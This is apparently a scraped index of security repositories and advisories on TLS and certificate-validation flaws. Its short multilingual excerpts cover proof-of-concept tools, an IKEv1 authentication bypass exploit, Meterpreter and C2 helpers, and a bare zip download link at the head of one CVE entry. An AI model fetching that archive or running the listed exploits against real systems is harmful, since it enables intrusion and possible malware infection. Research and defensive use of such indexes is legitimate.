TWSL2011-007_iOS_code_workaround

= testcert Reference implementation for TWSL2011-007 vulnerability workaround aka CVE-2011-0228. Author: Eric Monti Date: July 28, 2011 = Compiling Compile with your Apple iOS SDK CFLAGS along with: gcc -o testcert testcert.m -framework Foundation -framework Security The compile arguments above...

CVE-2025-50944

CVE-2025-50944 EagleEyes Lite Android アプリケーションにおける不適切な証明書チェーン検証 1. 概要 名前 : EagleEyesLite バージョン : 2.0.0 ベンダー : AVTECH CWE : CWE-295: 不適切な証明書検証 CVSS : 8.8 高 ベクター文字列 : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 2. 要約 EagleEyes Lite バージョン 2.0.0 は、HTTPS通信中にSSL/TLSサーバー証明書を適切に検証できません。...

gringotts

CVE-2020-0601 proof of concept A fun proof of concept to create your own root CA and signed certificate based on the CVE-2020-0601 vulnerability in Windows 10. The basis for the issue is the CertGetCertificateChain method improperly validated root certificate authorities. Since the search for a...

CVE-2026-50751---Check-Point-IKEv1-Authentication-Bypass-Exploit

CVE-2026-50751 - Check Point IKEv1 認証バイパスエクスプロイト ⚠️ 重要注意事項 このコードは教育目的および許可されたセキュリティテストにのみ使用してください。 明示的な許可なくシステムに対して不正に使用することは違法です。 著者は本ツールの誤用について一切の責任を負いません。 📋 説明 CVE-2026-50751 は、Check Point の IKEv1 非推奨 プロトコルにおける重大な認証バイパスの脆弱性であり、Remote Access VPN および Mobile Access...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 是关于 1Panel...

cve-2026-29145

CVE-2026-29145 — 即使禁用软失败，OCSP 检查有时仍会软失败 发现者： gregk4sec https://github.com/gregk4sec/cve 发现日期： 2026-02-26 受影响厂商： Apache 受影响产品： Tomcat 严重性： 9.1 严重 CWE： CWE-287 身份验证不当 状态： 审核中 / 已修复 / 私有 / 公开 ✅ 摘要 当禁用软失败时，CLIENTCERT 身份验证在某些场景下未按预期使 OCSP 检查失败。 技术分析 参见：analysis.md 复现步骤 1. 环境搭建 2. 触发条件 3. 预期行为与实际行为 4...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

badecparams

BADECPARAMS 针对 CVE-2020-0601 的概念验证。 badecparams.py 生成一个利用该漏洞的中间证书颁发机构， 然后签发 Authenticode 和 TLS 证书。这些 TLS 证书在 Microsoft Edge 和 Internet Explorer 中具有扩展验证。 httpd.py 通过 HTTPS 提供 www 子文件夹中的内容， 使用命令行中提供的 PEM 编码证书链。 root@kitploit: ./badecparams.py ./httpd.py localhost.key 受影响软件 Windows Update...

Meterpreter_Paranoid_Mode-SSL

MeterpreterParanoidMode v1.4 - SSL/TLS 连接 root@kitploit: 版本发布：v1.4（稳定版） 作者：pedro ubuntu r00t-3xp10it 支持发行版：Linux Kali、Mint、Ubuntu Suspicious-Shell-Activity SSA RedTeam 开发 @2017 描述： root@kitploit: MeterpreterParanoidMode.sh 允许用户通过让 Meterpreter 检查其连接的处理器的证书，来保护 Meterpreter...

sslyze

注意 SSLyze の現在の開発は、別のリポジトリで行われています: https://github.com/nabla-c0d3/sslyze。 このリポジトリは新しい親リポジトリから定期的に更新されますが、最新バージョンについては新しいリポジトリを確認してください。リポジトリをクローンしたものの、新しいブランチを追跡したい場合は、以下のコマンドで origin を更新できます: root@kitploit: git remote set-url origin https://github.com/nabla-c0d3/sslyze.git ======= SSLyze 高速でフル機能の...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

Invoke-SelfSignedWebRequest

Invoke-SelfSignedWebRequest 情報セキュリティ業務では、HTTPS を C2 や標的ネットワーク内での移動手段として利用することは非常に便利なメカニズムです。さらに PowerShell は、オペレーターが動的な結果を達成するのに役立つ驚くべき生産性ツールです。当然の次の結論は、C2 チャネル HTTPS とエフェクトジェネレーター PowerShell を組み合わせることです。自己署名証明書をすぐに生成すれば、すべて順調に進むはずですよね？ 残念ながら、Microsoft そして拡張的には PowerShell は、検証できない証明書で保護された SSL...

Important: Red Hat Security Advisory: go-fdo-client security update

An update for go-fdo-client is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

wolfSSL CA-cache hit overrides callback

With the wolfSSL backend, when CA caching is enabled and an CURLOPTSSLCTXFUNCTION callback replaces the trust store, libcurl can silently reinstall the cached store after the callback returns. A certificate trusted by the cached store but rejected by the callback-selected store is then incorrectl...

CVE-2026-67598

CVE-2026-67598 Emlog Pro — Validación de certificados TLS deshabilitada en el asistente de IA MITM adyacente a la red → robo de clave de API del proveedor de LLM e inyección de respuestas de IA...

CVE-2026-20127-Exploit-Extension

エグゼクティブサマリー CVE-2026-20127 Defensive Companionは、プロアクティブな脅威インテリジェンスと防御的分析のために設計された、エンタープライズ向けのプレミアムブラウザ拡張機能です。このツールは、Cisco Catalyst SD-WAN Controller（vSmart）における認証バイパスの脆弱性に関する権威ある技術研究をカプセル化しています。オフラインで高度にローカライズされたインテリジェンスレイヤーを提供することで、Security Operations...

CVE-2025-65753

CVE-2025-65753 CVE-2025-65753 的概念验证：在 Gryphon Guardian 接入点（固件版本 01.06.0006.22）上，由于 TLS 证书验证不当而导致的远程代码执行。 描述 Gryphon Guardian WiFi 接入点（固件版本 01.06.0006.22）未能正确验证通过应用提示后下载的互联网 speedtest 客户端的 TLS 证书。此缺陷使攻击者能够拦截并操纵通信，向该客户端注入恶意代码，随后该代码会以 root 身份在接入点上执行。 PoC 利用此漏洞有两种方式： 通过 MitM 攻击，直接拦截接入点与服务器之间的通信 通过伪造...

CVE-2026-82662

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js via rejectUnauthorized: false. This allows an attacker in a machine-in-the-middle position to intercept OAuth2 token requests over compromised HTTPS connections, capturing OAuth client secrets , refresh tokens , a...